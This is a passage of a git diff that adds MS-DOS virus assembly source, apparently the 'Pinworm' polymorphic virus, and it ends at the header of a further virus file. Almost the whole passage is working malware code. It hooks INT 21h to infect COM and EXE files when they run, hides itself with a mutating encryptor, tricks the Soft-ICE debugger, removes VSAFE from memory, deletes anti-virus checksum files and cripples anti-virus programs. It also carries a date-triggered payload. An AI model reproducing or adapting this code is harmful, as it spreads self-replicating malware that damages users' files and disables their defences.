; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + + +ENDIF +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Start of Viral Code °°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,KILL_DATE ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + call get_timer + cmp dl,5 + jle no_install + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Infection Routine °°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jz d_time + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,MAX_EXE + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jnz d_time + + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Kills CHKLIST.CPS and CHKLIST.MS °°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Set File PTR °°°°°°°°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Morph, copy, & crypt °°°°°°°°°°°°°°°°°° + +; 0 bytes constant +; 0 functionally equivilant operands in constant locations +; +; Random byte defined as: +; 76543210 +; ³³³³³³³ĄÄ 0=JNZ,1=JNS +; ³³³³³³ĄÄÄ 0=ADD&SUB, 1=XOR +; ³³³³³ĄÄÄÄ 0=BYTE CRYPTION, 1=WORD CRYPTION +; ³³³³ĄÄÄÄÄ 1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND +; ³³³ĄÄÄÄÄÄ 1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY +; ³³ĄÄÄÄÄÄÄ not used +; ³ĄÄÄÄÄÄÄÄ not used +; ĄÄÄÄÄÄÄÄÄ not used +; +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +encrypt_code: + + push bx ; save the handle + + call get_timer +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + + mov ax,0FFFFh + call random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + +;ÄÄÄÄ Fill buffer space with one-byte garbage ops + + lea di,encrypt + mov bp,enc_size+1 + mov bl,1 ; one byterz.. + call fill_buffer + +;ÄÄÄÄ Randomly select between jmp type : JNZ or JNS + + test enc_num,00000001b + jnz jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +;ÄÄÄÄ Select encryption type: XOR or ADD&SUB + + mov enc_type,04 ; default to encrypting ADD + mov dec_type,2Ch ; and decrypting SUB + test enc_num,00000010b + jz use_add_sub + mov dec_type,34h ; decrypting XOR + mov enc_type,34h ; encrypting XOR + use_add_sub: + +;ÄÄÄ Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next register in line + inc byte ptr dec_op + +;ÄÄÄÄ Select position of INC DI|SI + + mov ax,INC_BUF_SIZE-1 + call random ; select a position in the buffer.. + xchg di,dx + add di,offset inc_buf + mov inc_op_ptr,di ; save ptrs + mov inc_op_ptr2,di + +;ÄÄÄÄ Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr [di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr [di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr dec_type ; increment decryptor + inc byte ptr enc_type ; increment encryptor + done_chg_ptr: + +;ÄÄÄÄ Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test enc_num,00000100b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ax,di + sub ax,offset inc_buf+1 + call random + mov ch,byte ptr [di] ; get INC DI|INC SI operand + sub di,dx + mov byte ptr [di],ch ; make a copy of it for word cryption + mov inc_op_ptr2,di + use_byte: + +;ÄÄÄÄ Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +;ÄÄÄÄ Set DEC XX /JNS|JNZ operands + + mov ax,DJ_BUF_SIZE-3 + call random ; select a pos. + add dx,offset dj_buf + mov di,dx + sub dx,offset enc_loop-3 ; find loop size + neg dx ; negate for negative jump + mov byte ptr jnz_op+1,dl ; write jmp offset + dec dl + mov byte ptr loop_ofs,dl ; write loop offset + mov dec_op_ptr,di + lea si,dec_op + movsb ; write operand(s) +write_loop: + movsw + inc di + add rel_off,di ; chg offset for decryption + push di ; save offset after jmp + + +;ÄÄÄÄ Set MOV DI,XXXX|MOV SI,XXXX + + mov ax,PTR_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset ptr_buf ; build ptr + mov ptr_op_ptr,di ; save ptr + lea si,ptr_set + movsw ; write op + movsb + +;ÄÄÄÄ Set MOV AX|BX|DX|CX,XXXX + + mov ax,CNT_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset cnt_buf ; build ptr + mov count_op_ptr,di ; save ptr + lea si,count_op + movsw ; write op + movsb + +;ÄÄÄÄ Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov ax,ENC_OP_BSIZE-5 + call random ; select pos. + xchg dx,di + add di,offset enc_op_buf ; build ptr + mov enc_op_ptr,di ; save ptr + lea si,seg_op + movsw ; write op + movsw + +IF TWO_BYTE +;ÄÄÄÄ Throw in some 2 byte garbage ops + test enc_num,00010000b ; use two-byte garbage? + jz no_2byte_grb + lea di,encrypt + mov bp,ptr_op_ptr + push bp + call fill_between + pop di + add di,3 ; 3bytez large + mov bp,count_op_ptr + push bp + call fill_between ; fill between start and count reg + pop di + add di,3 ; 3bytez large + mov bp,inc_op_ptr2 + push bp + call fill_between ; fill between count reg and inc ptr + pop di + inc di ; 1byte large + mov bp,inc_op_ptr + push bp + call fill_between ; if another inc ptr op exist, then + pop di ; .. fill in between both of them + inc di ; 1byte large + mov bp,enc_op_ptr + push bp + call fill_between ; fill between inc ptr and encryption + pop di ; ..op + add di,5 ; 5bytez large + mov bp,dec_op_ptr + call fill_between ; fill between encryption op and loop +no_2byte_grb: +ENDIF + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +;°°°°°°°°[END OF POLYMORPHIC ENGINE]°°°°°°°°°°°°° +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +;ÄÄÄÄ FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +;ÄÄÄÄ Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +;ÄÄÄÄ Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + call dbl_crypt + mov ret2_byte,90h +ENDIF + +;ÄÄÄÄ Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +;ÄÄÄÄ Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov al,enc_type + mov bx,enc_op_ptr + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Garbage Code Filler °°°°°°°°°°°°°°°°°° +; DS:DI = buffer address +; BP = buffer size +; BL = 1 - Use 1 byte random garbage ops +; = 2 - Use 2 byte random garbage ops +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; +fill_buffer: + push ax + mov ax,GARBAGE_OPS + call random + pop ax + mov si,dx ; build index ptr +IF TWO_BYTE + cmp bl,1 ; using 1 byte, or 2 byte ops? + jnz word_grb +ENDIF + mov al,byte ptr [nops_1+si] ; get 1byte operand from table + mov byte ptr [di],al ; write operand +IF TWO_BYTE + jmp did_1byte +word_grb: + cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin + jnz di_ok +di_not_ok: + mov al,byte ptr [nops_1+si] ; get 1byte op + mov ah,al ; duplicate + jz couldnt_do_2 +di_ok: + cmp di,offset encryptor-1 ; don't put 2byte op at call begin + jz di_not_ok + add si,si ; double pointer for word offsets + mov ax,word ptr [nops_2+si] ; get garbage op +couldnt_do_2: + mov word ptr [di],ax ; write op + inc di ; increment ptr + dec bp ; decrement counter + jz _fret +did_1byte: +ENDIF + inc di ; increment buffer ptr + dec bp ; decrement counter + jnz fill_buffer ; loop +_fret: ret + +IF TWO_BYTE +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Fill Bytes Between Two Ops /w Garb.°°°° +; DS:DI=First Op +; DS:BP=Last Op +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +fill_between: + sub bp,di ; get difference of offsets + cmp bp,4 ; if <4 then not 'nuff room + jl not_room + sub bp,2 ; make sure we don't overwrite last op + mov bl,2 ; use 2byte garbage ops + call fill_buffer +not_room: + ret +ENDIF +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Get sec/ms from clock °°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +get_timer: + push ax + mov ah,2ch ; get clock + int 21h + mov ran_seed,dx + pop ax + ret + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Get Random Number °°°°°°°°°°°°°°°°°°°°° +; AX=max number +; ret: DX=random # [will not return 0] +; ROUTINE PARTIALLY FROM: TP6.0 BOOK +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +random: + push ax + mov ax,ran_seed + mov cx,31413 + mul cx + add ax,13849 + mov ran_seed,ax + pop cx + mul cx + cmp dx,0 + jnz ran_ok + inc dx +ran_ok: + ret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Associated bullshit +; +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIļWérM.ūg!',0 ; DIR created +root db '..',0 ; for changing to org. dir +file1 db 'PIļWérM˙',0 ; filez created in dir.. + db 'version˙',0 ; must be 8 chars each+null + db '1-5į-A˙˙',0 ; (255 not space) + db 'ÄÄÄÄÄÄÄÄ',0 + db 'Dedicate',0 + db 'd˙to˙TKS',0 + db '-ÄÄÄÄÄ-Ä',0 + db '˙˙Coded˙',0 + db '˙˙˙by˙˙˙',0 + db '˙ūirogen',0 ; #9 +activate db 0 +isav db 0 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) + +ran_seed dw 0 +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Polymorphic engine data °°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +inc_op_ptr dw offset inc_buf ; ptr to location of INC +enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr +ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos +count_op_ptr dw offset cnt_buf ; ptr to counter reg pos +dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos +inc_op_ptr2 dw 0 +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX +enc_num db 0 +enc_type db 2Ch +ptr_set db 0BEh ; MOV DI|SI,XXXX +rel_off dw real_start+100h +count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX +crypt_bytes dw offset vend-offset dj_buf +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op db 75h,0 +;loop_op db 0E2h ; LOOP XX +loop_ofs db 0 +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° One-byte Garbage Operands (must be 16)° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +nops_1: nop +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + +IF TWO_BYTE +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Two-byte Garbage Operands (must be 16)° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +nops_2: db 0EBh,0 ; JMP $+2 + db 74h,0 ; JZ $+2 + db 75h,0 ; JNZ $+2 + db 7Ch,0 ; JL $+2 + db 7Fh,0 ; JG $+2 + db 72h,0 ; JC $+2 + or bp,bp + not bp + neg bp + mov bp,ax + mov bp,dx + mov bp,si + mov bp,di + mov si,si + mov di,di + xchg cx,cx +ENDIF + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; °°°°°°° Activation Routine °°°°°°°°°°°°°°°°°°°° +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Creates directory named after Pinworm and files +; in that directory which together form a message. +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + + lea dx,file1 ;offset of first filename + mov bp,MSG_FILEZ ;# of filez total +make_msg: + xor cx,cx ;null attribs + mov ah,3ch + int 21h ;create phile + jc dont_close + xchg ax,bx + mov ah,3eh ;close phile + int 21h +dont_close: add dx,9 ;point to next phile + dec bp + jnz make_msg + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +;ÄÄÄÄ Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +vend: ; end of virus in memory.. +cseg ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.pw16.asm b/MSDOS/Virus.MSDOS.Unknown.pw16.asm new file mode 100644 index 00000000..72aedf10 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pw16.asm @@ -0,0 +1,1104 @@ + +; **Beta Code** +; 